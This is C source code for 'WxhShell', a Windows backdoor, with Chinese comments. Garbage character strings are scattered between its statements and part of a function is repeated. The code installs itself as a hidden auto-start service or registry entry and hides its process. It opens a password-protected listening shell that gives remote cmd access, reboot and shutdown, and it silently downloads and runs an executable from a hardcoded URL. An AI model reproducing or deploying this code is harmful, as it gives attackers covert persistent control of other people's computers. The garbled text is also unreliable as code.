Z <h/q^| tZ{ HANDLE hProcess; M{24MF PROCESS_BASIC_INFORMATION pbi; $EFS_*<X i;%G Z8 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !I?C8) if(NULL == hInst ) return 0; 2: gh q -"nkC g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); IwnDG;+Ap g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); RG45S0Ygj NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lF(v<drkB }XBF#BN if (!NtQueryInformationProcess) return 0; Qt4mg?X/ qWr=Oiu hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GW>F:<p if(!hProcess) return 0; &qXobJRM tjtvO@?1- if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d {U%q
d +&G(AW CloseHandle(hProcess); |"LHo
H fU$Jh/#": hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P
I"KY@>H if(hProcess==NULL) return 0; G]aey>) ~Re4zU HMODULE hMod; Fc`IRPW< char procName[255]; 'Jf
LTG. unsigned long cbNeeded; 85&7WAco"B 6t; ;Fz if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q("XS $5 G(_ CloseHandle(hProcess); Iz+%wAZ|B6 O/#3QK if(strstr(procName,"services")) return 1; // 以服务启动 SV t~pE+Y 3#,6(k4> return 0; // 注册表启动 dM^EYW } Cty{ *Ze0V9$' // 主模块 )KFxtM- int StartWxhshell(LPSTR lpCmdLine) ||X3g"2W9 { kBk>1jn" SOCKET wsl;
s*gqKQ; BOOL val=TRUE; HQ"T>xb int port=0; 'm*W< struct sockaddr_in door; QTa\&v[f B;[ .u>f if(wscfg.ws_autoins) Install(); kB@gy} Lm}.+.O~d port=atoi(lpCmdLine); ?=Ceo#Er -b!Z(}JK if(port<=0) port=wscfg.ws_port; ^)]U5+g? F,S)P`? WSADATA data; u=nd7:bv if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; K.QSt zl8M<z1`1 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; i=<;$+tW setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cu>(;= door.sin_family = AF_INET; z#&1> door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9cB+x`+Lu door.sin_port = htons(port); P.Bwfa Ld.9.d] if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $#f_p-N closesocket(wsl); z**2-4 z return 1; (mP{A(kwJ } |1CX?8)b= nyPeN?- if(listen(wsl,2) == INVALID_SOCKET) { rGNa[1{kRs closesocket(wsl); P x Q] $w return 1; !aUYidd } O'98OH+u Wxhshell(wsl); pdJ]V`m WSACleanup(); yH"i5L9 b|.Cqsb return 0; 2R,}
j@ >(P(!^[f } 5B)&;[ 39O rY // 以NT服务方式启动 G8vDy1`q6 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G 3U[)(" { X[Ufq^fyA DWORD status = 0; /v9qrZ$$ DWORD specificError = 0xfffffff; R/"f RgV3, z serviceStatus.dwServiceType = SERVICE_WIN32; bj@sci(1? serviceStatus.dwCurrentState = SERVICE_START_PENDING; ^X{U7?x serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #%QHb,lhl serviceStatus.dwWin32ExitCode = 0; G?@W;o) serviceStatus.dwServiceSpecificExitCode = 0; \k=dqWBr7 serviceStatus.dwCheckPoint = 0; W2rd[W serviceStatus.dwWaitHint = 0; LQ k^l` t<fah 3hl hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q(-&}cY if (hServiceStatusHandle==0) return; 8>WA5:]v 5QK%BiDlr status = GetLastError(); J/P[9m30[ if (status!=NO_ERROR) eZa7brC| { V5$Gb6?K serviceStatus.dwCurrentState = SERVICE_STOPPED; P^"RH&ZQJ serviceStatus.dwCheckPoint = 0; '|=Pw serviceStatus.dwWaitHint = 0; ?WXftzdf6u serviceStatus.dwWin32ExitCode = status; S||W serviceStatus.dwServiceSpecificExitCode = specificError; EGgw#JAi#t SetServiceStatus(hServiceStatusHandle, &serviceStatus); OF`J{`{r return; xz0t8`NoN } c=+%][21 V~*>/2+ serviceStatus.dwCurrentState = SERVICE_RUNNING; (U#,; serviceStatus.dwCheckPoint = 0; G@Z%[YNw serviceStatus.dwWaitHint = 0; .n8O 3V if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +&)/dHbL`] } #z >I =gl Pl/Xh03E // 处理NT服务事件,比如:启动、停止 /7"V~c6 VOID WINAPI NTServiceHandler(DWORD fdwControl) VsSAb% { h[qZM switch(fdwControl) ?7wcv$K5 { k^|z.$+ case SERVICE_CONTROL_STOP: ]@Y!,bw& serviceStatus.dwWin32ExitCode = 0; IrZ\;!NK serviceStatus.dwCurrentState = SERVICE_STOPPED; &4evh<z serviceStatus.dwCheckPoint = 0; >3D1:0Sg serviceStatus.dwWaitHint = 0; Vx.c`/ { X<IW5* SetServiceStatus(hServiceStatusHandle, &serviceStatus); d #1&"( } >)C7IQ/ return; PcA^ jBgGl case SERVICE_CONTROL_PAUSE: EpG9t9S9 serviceStatus.dwCurrentState = SERVICE_PAUSED; [- 92] break; 3.#L case SERVICE_CONTROL_CONTINUE: w;}5B~). serviceStatus.dwCurrentState = SERVICE_RUNNING; Nb:j]U break; AJ>E\DK0] case SERVICE_CONTROL_INTERROGATE: c-JXWNz break; _!zc <&~I }; +`wr{kB$~ SetServiceStatus(hServiceStatusHandle, &serviceStatus); UfPB-EFl$D } 7/a7p(
>b"@{MZ@t // 标准应用程序主函数 ,N:^4A int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,w6?Ap { X@[5nyILf KRlJKd{ // 获取操作系统版本 8tSY|ME OsIsNt=GetOsVer(); oQh;lb GetModuleFileName(NULL,ExeFile,MAX_PATH); r=3`Eb"t iJhieNn // 从命令行安装 e eN`T&cI if(strpbrk(lpCmdLine,"iI")) Install(); kSEA N KgEs // 下载执行文件 |sr\SCx if(wscfg.ws_downexe) { 9^g8VlQdT if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sx azl] WinExec(wscfg.ws_filenam,SW_HIDE); {M:/HQo } <%3fJt-Ie CC!`fX6z>h if(!OsIsNt) { Pi=FnS // 如果时win9x,隐藏进程并且设置为注册表启动 aWimg6q HideProc(); |-vyhr0 StartWxhshell(lpCmdLine); 'fK=;mM } [sG`D-\P[ else gYN;Fu-9Z if(StartFromService()) XGR63hXND // 以服务方式启动 KB~1]cYMp StartServiceCtrlDispatcher(DispatchTable);
,d/$!Yf else 2|\mBP`ok // 普通方式启动 I`XOvSO StartWxhshell(lpCmdLine); -"ZNkC= V^FM-bg%9 return 0; )G/=3;! } ESoqmCJjb: i#YDdz <H]PP6_g: ;DX{+Z[ =========================================== Q(N'Oj:J 0_je@p+$
ynra%"sd {(-923|, z^gz kXx7 j,].88H " %LC)sSq{H 4N=,9 #include <stdio.h> _5n2'\] H` #include <string.h> )?&mCI* #include <windows.h> o7+<sL #include <winsock2.h> bS:$VyH6 #include <winsvc.h> GB `n #include <urlmon.h> } -4p8Zt z|AknEE, #pragma comment (lib, "Ws2_32.lib") &/uakkS #pragma comment (lib, "urlmon.lib") U[;ECw@ ;(,GS@sP #define MAX_USER 100 // 最大客户端连接数 $/Wec,`& #define BUF_SOCK 200 // sock buffer
PC@HNto{ #define KEY_BUFF 255 // 输入 buffer EhO\N\p(Q= pHVDug3 #define REBOOT 0 // 重启 /oe0 #define SHUTDOWN 1 // 关机 @.cord` 6C.!+km #define DEF_PORT 5000 // 监听端口 P[H`]q| n}Thc6f3D #define REG_LEN 16 // 注册表键长度 Rq(+zL(f #define SVC_LEN 80 // NT服务名长度 +>ituJ ZHA&gdK@ // 从dll定义API 3<FqK \P typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H"pYj typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }T902RL0 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vQXF$/S typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); myXGMN$i *URY8a`bO // wxhshell配置信息 @:hWahMy struct WSCFG { W{ozZuo int ws_port; // 监听端口 AS0(NlV char ws_passstr[REG_LEN]; // 口令 _kOuD}_| int ws_autoins; // 安装标记, 1=yes 0=no i-0AcN./p char ws_regname[REG_LEN]; // 注册表键名 T06w`'aL char ws_svcname[REG_LEN]; // 服务名 <5]_u: char ws_svcdisp[SVC_LEN]; // 服务显示名 4mBM5Tv char ws_svcdesc[SVC_LEN]; // 服务描述信息 UlN}SddI9 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /Y\q&} int ws_downexe; // 下载执行标记, 1=yes 0=no -{eiV0<^ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7 je1vNs char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T;3~teVYB )`5-rm~* }; D//58z& {Q K9pZB // default Wxhshell configuration k]& I(VQ" struct WSCFG wscfg={DEF_PORT, Obc, "xuhuanlingzhe", N]c:8dOj 1, h;K9}w "Wxhshell", :1iXBG\ "Wxhshell", <9=RLENmY" "WxhShell Service", .
VI
# "Wrsky Windows CmdShell Service", Jl"DMUy[kW "Please Input Your Password: ", t@cBuV`9c 1, :i?c "http://www.wrsky.com/wxhshell.exe", %u|Qh/?7 "Wxhshell.exe" QIN# \ }; Grd9yLF #2.C$ // 消息定义模块 OZObx char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <
R@&<E6 char *msg_ws_prompt="\n\r? for help\n\r#>"; 1d.>?^uE char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; wL0"1Ya char *msg_ws_ext="\n\rExit."; kgmb<4p char *msg_ws_end="\n\rQuit."; =g@hh)3wP char *msg_ws_boot="\n\rReboot..."; @izS_I, char *msg_ws_poff="\n\rShutdown..."; ";0-9*I char *msg_ws_down="\n\rSave to "; &E
k\ wAb_fU&* char *msg_ws_err="\n\rErr!"; y7*^H char *msg_ws_ok="\n\rOK!"; BYS>" 9*|An char ExeFile[MAX_PATH]; Ke&fTK int nUser = 0; nDchLVw HANDLE handles[MAX_USER]; e8]mdU{) int OsIsNt; H~*[v" &P8Q|A-u SERVICE_STATUS serviceStatus; x2f_>tu2 SERVICE_STATUS_HANDLE hServiceStatusHandle; FUPJ&7+B T5U(B3j_ // 函数声明 H
@E-=Ly int Install(void); }% |GV int Uninstall(void); R?%|RCht1 int DownloadFile(char *sURL, SOCKET wsh); inGH'nl_ int Boot(int flag); ~u-`L+G"6 void HideProc(void); h"nv[0!) int GetOsVer(void); 0$nJd_gW_ int Wxhshell(SOCKET wsl); U`'w{~"D% void TalkWithClient(void *cs); :(x 90;DW int CmdShell(SOCKET sock); z!j`Qoh?V9 int StartFromService(void); WHF:>0B int StartWxhshell(LPSTR lpCmdLine); 2,%ne ( ]gj@r[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .^1=*j(; VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6Ue6b$xE t!Av[K // 数据结构和表定义 Vk~}^;`Y SERVICE_TABLE_ENTRY DispatchTable[] = G}~b { d{GXFT;0 {wscfg.ws_svcname, NTServiceMain}, WI'csM;M# {NULL, NULL} ma*9O |v^ }; 4'; [' X}bgRzj // 自我安装 DFjkp;`1 int Install(void) tbk9N( R { 8@Km@o]? char svExeFile[MAX_PATH]; J5rR?[i{ HKEY key; E3KPJ`=!*" strcpy(svExeFile,ExeFile); ,9M \`6 `0 F"zu // 如果是win9x系统,修改注册表设为自启动 %BHq2~J if(!OsIsNt) { h;unbz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CGg6n CB RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D{z=)'/F RegCloseKey(key); gf@'d.W} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?
8!N{NV RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #6m//0 u RegCloseKey(key); C"mb-n7s return 0; KoXXNJax } J<zg 'Jk^ } 4Y/!V[ } uc"u@ _M else { wLUmRo56aR >zhbipA // 如果是NT以上系统,安装为系统服务 3i$AR SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rC*n Z* if (schSCManager!=0) (c*Dvpo1 { YvHn~gNPhs SC_HANDLE schService = CreateService +yea}uUE ( 0UB'6wRVo schSCManager, NAocmbfNz wscfg.ws_svcname, ^e 6(#SqR wscfg.ws_svcdisp, %E!0,y,: SERVICE_ALL_ACCESS, fu&]t8MJC SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G`W+m*[U+M SERVICE_AUTO_START, vA{[F7 SERVICE_ERROR_NORMAL, u1kbWbHu( svExeFile, hP#&]W3: NULL, xO@OkCue NULL, p.IfJ| NULL, e)bqE^JP NULL, M*{e e0\`r NULL |ZKchd8Yq ); J)[(4R> if (schService!=0) ozo8 Tr { \%VoX`B CloseServiceHandle(schService); g?+P&FL#I CloseServiceHandle(schSCManager); ?{dno= strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \5l}5<| strcat(svExeFile,wscfg.ws_svcname); TPzoU"
qh if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /kq~*s RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); LMDa68 s RegCloseKey(key); 8+ W^t I return 0; Zn!SHj } #WG(V%f] } OWkK]O CloseServiceHandle(schSCManager); {gn[
&\ } jHZ<Gc } E0PBdiD6hs 2g v(`NKYE return 1; hv)($; } ;Os3
! <Jk|Bmw; // 自我卸载 x/<.?[A int Uninstall(void) C!P6Z10+j { 5-QXvw(TH HKEY key; ~!OjdE!u U#P#YpD;== if(!OsIsNt) { y%y#Pb| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q.t5L=l^
r RegDeleteValue(key,wscfg.ws_regname); mB~&nDU RegCloseKey(key); PrcM'Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $p@g#3X` RegDeleteValue(key,wscfg.ws_regname); {Q"<q`c RegCloseKey(key); dd+).* return 0; xVPGlU } I|:j~EY } aU! UY( } @mazwr{B else { -wt2ydzos b,W'0gl SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wtKh8^:YD if (schSCManager!=0) (qrT0D6 { 9+']`=a: SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;sf/tX if (schService!=0) +A3H#' { a*8}~p, if(DeleteService(schService)!=0) { ;FBc^*q CloseServiceHandle(schService); H#y"3E<s CloseServiceHandle(schSCManager); Mg$Z^v|}0 return 0; 1d"P) 3dQ } Y4O L 82Y CloseServiceHandle(schService); jj2UUQ| } 4Ojw&ys@V CloseServiceHandle(schSCManager); U{Z>y?V/ } ^J_hkw~gO } qr9F @n(In$ return 1; ^q`*!B9@ } Vmc)or*# ZJ(!jc$"*% // 从指定url下载文件 aBnbu
vp int DownloadFile(char *sURL, SOCKET wsh) ccSS au5N { v#FUD-Z HRESULT hr; C(t/:?(y char seps[]= "/"; #`$7$Y~] char *token; Xn=fLb( char *file; K;l'IN"N char myURL[MAX_PATH]; :S12=sFl$ char myFILE[MAX_PATH]; ?+\,a+46P_ 7fqYSMHR strcpy(myURL,sURL); Dhoj|lc token=strtok(myURL,seps); I1~g?jpH while(token!=NULL) bRK9Qt#3 { ;GSJnV file=token; *&]l token=strtok(NULL,seps); 2LU'C,o? } P>-,6a> ?
h%+2 GetCurrentDirectory(MAX_PATH,myFILE); =.a ]?&Yyh strcat(myFILE, "\\"); M6sDtL9l strcat(myFILE, file); s|'L0` <B send(wsh,myFILE,strlen(myFILE),0); (/U1J send(wsh,"...",3,0); @\?f77Of6 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +IYSWR if(hr==S_OK) sh2bhv] return 0; [\1l4C else Bl];^W^P return 1; 6pR#z@, aw1J#5j`n } M'iKk[Hjfx ~@a
R5Q>us // 系统电源模块 f,>i%. int Boot(int flag) ex458^N_ { ]o$/xP HANDLE hToken; rUjr'O0 TOKEN_PRIVILEGES tkp; Pa +BE[z ,m,vo_Ub if(OsIsNt) { lv*uXg.k^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9,CC1f LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); . $YF|v[= tkp.PrivilegeCount = 1; vM/v}6;_K2 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .<%M8rcj AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ud D[hPJd if(flag==REBOOT) { H@'
@xHv if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;[ueNP%*y| return 0; I/jr`3Mj } XD }_9p else { eB*8)gYh if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;r"B?] JO return 0; 5FI>T=QF } iGLYM- } -d'|X`^nE else { GNc|)$ if(flag==REBOOT) { ,0]28D if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nn4Sy,cz return 0; I;H9<o5 } GTl (i*
else { Els= :4 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >r3< O=Z7 return 0; 5Suc#0y } ot#kU 8f } 79g>7<vp 0f/!|c return 1; ,
% jTXb } oH0F9*+W 3G|fo4g // win9x进程隐藏模块 Y26l,XIV void HideProc(void) `0|&T;7 { L$Ar]O) J6D$ i+ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ilb
|:x"L if ( hKernel != NULL ) N06O.bji { agT[y/gb pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e~]e9-L>I ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }yDq\5s
Q[ FreeLibrary(hKernel); v:1Vli. } 9mphj)`d;# B
RjKV return; 4^_Au^8R( } 9?chCO(@ .MARF // 获取操作系统版本 _4B iF?1 int GetOsVer(void) n@[</E( { .BDRD~kB OSVERSIONINFO winfo; TJS1,3< winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \ZWmef GetVersionEx(&winfo); _J~ta. if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ik0Q^^1?Y return 1; n4T2'e else p+UHJ& return 0; <JM%Kn ) } vqz#V=J{ -01 1U! // 客户端句柄模块
0P3|1= int Wxhshell(SOCKET wsl) @aN=U= { +{i"G,3 SOCKET wsh; ef:$1VIBda struct sockaddr_in client; ]G~N+\8]U DWORD myID; QYw4kD} >E ;o" while(nUser<MAX_USER) edk9Qd9 { _XNR um4 int nSize=sizeof(client); <sYw%9V wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7C7(bg,7^ if(wsh==INVALID_SOCKET) return 1; nk$V{(FJ o+Ti$`2<O7 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ur,"K'w if(handles[nUser]==0) bTy)0ta>AF closesocket(wsh); #s
R0* else A6 y~_dt nUser++; Hs-.83V } _QUu'zJ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \If!5N u+'@>%7 return 0; -L3
|9k
} pXj/6+^ Q*&aC|b& // 关闭 socket I+j|'=M void CloseIt(SOCKET wsh) fZ~kw*0* { .P:f closesocket(wsh); EJ;0ypbG nUser--; n.6
0$kR` ExitThread(0); U2>dwn } Fif^V h)l&K%4; // 客户端请求句柄 qb&NS4# void TalkWithClient(void *cs) D)ne *}, { 6O@ ^`T lJ] \ SOCKET wsh=(SOCKET)cs; 4OZ5hH
h char pwd[SVC_LEN]; mx(%tz^t char cmd[KEY_BUFF]; QDgEJ%U- char chr[1]; QD;f~fZ int i,j; (6#yw`\ H0b6ZA%n while (nUser < MAX_USER) { K!D!b'|bb Pzm!`F^r} if(wscfg.ws_passstr) { K9O,7h:x if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FDd>(!> //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E<#4G9O< //ZeroMemory(pwd,KEY_BUFF); 9H, &nET i=0; &G@-yQ while(i<SVC_LEN) { Kg TGxCH kl3S~gE4@ // 设置超时 )\D40,p fd_set FdRead; e]*=sp!T struct timeval TimeOut; _QMHPRELk FD_ZERO(&FdRead); _?]BVw FD_SET(wsh,&FdRead); fByh";<`P TimeOut.tv_sec=8; l88a#zUQDN TimeOut.tv_usec=0; &c<}++'h int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R4~zL!7; if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Wt)SdF=U/ ZH$sMh<xg if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZOrTbik pwd=chr[0]; @U
/3iDB\ if(chr[0]==0xd || chr[0]==0xa) { 3+8" pwd=0; ,+f0cv4 break; ,F`KQ
)\" } |`Oa/\U i++; Y9@dZw%2 } Ij6Wz.* _]D#)-uv}C // 如果是非法用户,关闭 socket ;4/dk_~p] if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D"x$^6`c} } F@K*T2uh q~Q)'*m send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,JQxs7@2k send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @X|i@{<'; iy.%kHC while(1) { @
Zgl> 3gI[]4lRH ZeroMemory(cmd,KEY_BUFF); Z?~d']XD e:GgA // 自动支持客户端 telnet标准 Id.Z[owC`Y j=0; rxy{a while(j<KEY_BUFF) { |:e|~sism if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H?`)[# cmd[j]=chr[0]; +F7<5YW&( if(chr[0]==0xa || chr[0]==0xd) { 3?*M{Y| cmd[j]=0; s*)41\V0 break; xf^<ec } 8G5)o` j++; Nr]8P/[~ } )pZekh]v te\h?H // 下载文件 7dlKdKH if(strstr(cmd,"http://")) { N7~)qqb send(wsh,msg_ws_down,strlen(msg_ws_down),0); rZ!Yi*? f if(DownloadFile(cmd,wsh)) :<N6i/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); RhV:Z3f`6 else g* \P6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yt/SnF } }l}yn@hYC else { W) 33;E/} W<rTq0~$? switch(cmd[0]) { $@_<$t G+hF
[b44' // 帮助 Q_QKm0! case '?': { iBKb/Oi6 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0E?s>-b break; 62MRI } @QVqpE<| // 安装 oTF^<I-C case 'i': { _^6|^PT. if(Install()) t":W.q< send(wsh,msg_ws_err,strlen(msg_ws_err),0); P>{US1t else 42V,PH6o send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X/E7o92\ break; `sk!C7% } q6C6PPc // 卸载 eC>"my` case 'r': { 8:P*z if(Uninstall()) Zp7yaz3y send(wsh,msg_ws_err,strlen(msg_ws_err),0); <DeKs?v else Ue{vg$5|| send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2/yXY_L break; }xkLD! } ?~aZ#%*i8 // 显示 wxhshell 所在路径 $Wr\[P: case 'p': { tLD~ char svExeFile[MAX_PATH]; *t#s$Ga strcpy(svExeFile,"\n\r"); poXLy/K strcat(svExeFile,ExeFile); ^s^JzFw send(wsh,svExeFile,strlen(svExeFile),0); 2gd<8a' ' break; 861i3OXVE> } Gh]_L+ // 重启 hncS_ZA case 'b': { Pv/Pww\ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )|w*/JK\Z if(Boot(REBOOT)) =y<">- send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q;$
9qOF else { W NwJM closesocket(wsh); s;fVnaqG: ExitThread(0);
eeW' [ } LbJtpwz>z break; 0$eyT-:d } ~9JW#HHzn // 关机 |'V DI]p& case 'd': { O!+nF]V4f send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L@{!r=%_> if(Boot(SHUTDOWN)) )p$\gwr=2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); M11"<3]D else { ^Yj"RM$;N closesocket(wsh); Q'Jv}'eK_ ExitThread(0); Ni2]6U } 9z5"y|$ break; ,c4c@|Bh? } "El^38Ho // 获取shell G1kaF/`O case 's': { Z69+yOJI CmdShell(wsh); N#(jK1`y closesocket(wsh); 8{R_6BS ExitThread(0); ! jbEm8bt break; _Kc1 } Dh2:2Rz=#7 // 退出 2.[_t/T case 'x': { "| Kf'/r send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
s1X]RXX&j CloseIt(wsh); n?'d|h break; &EAk
z } [096CK // 离开 ]>tq|R78 case 'q': { ;yF[2P ; send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0o=!j3RjH closesocket(wsh); cu[!D}tVU WSACleanup(); 5^)?mA exit(1); # v.L$7O break; \'n$&PFe } X'cf&>h } r%0pQEl } [NYj.#,oR IE&_!ce // 提示信息 JXpoCCe if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p/r~n'g$ } {mNdL J } "XCU'_k= }qer return; rmOQ{2} } h^}_YaT\ l iw,O 6 // shell模块句柄 Pj'62[5z int CmdShell(SOCKET sock) 's)fO#
{ G49Ng|qn STARTUPINFO si; )T>8XCL\} ZeroMemory(&si,sizeof(si)); 82lr4 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \X&]FZ(* si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @u,+F0Yd PROCESS_INFORMATION ProcessInfo; KwS`3 6: char cmdline[]="cmd"; zQ ,f5x CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2=>*O return 0; e#tIk;9Xz } l;Q
>b]DZ ylk{! // 自身启动模式 cL#-*_( int StartFromService(void) cv3L&zg M { 3 h#s([uL typedef struct r,5-XB { $4=Ne3y DWORD ExitStatus; [M4xZHd#o DWORD PebBaseAddress; sF y]+DB DWORD AffinityMask; yL.^ = DWORD BasePriority; +Y7Pg'35 ULONG UniqueProcessId; M~-h-tG ULONG InheritedFromUniqueProcessId; S#k{e72 * } PROCESS_BASIC_INFORMATION; .>P~uZiX! !~WZ_z PROCNTQSIP NtQueryInformationProcess; *2`:VFEV ~L~]QN\3 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u=%y static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o~= iy s3seK6x' HANDLE hProcess; ! Q!&CG5l PROCESS_BASIC_INFORMATION pbi; i<mevL
3c b[RQf HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =nzFd-P if(NULL == hInst ) return 0; 5:c;RRn +kM\
D~D1 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {ih:FcI
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L_^`k4ct NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cv= \g Z EJ G2^DSS if (!NtQueryInformationProcess) return 0; /9 pbnzn X<Z(]`i hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _
\l
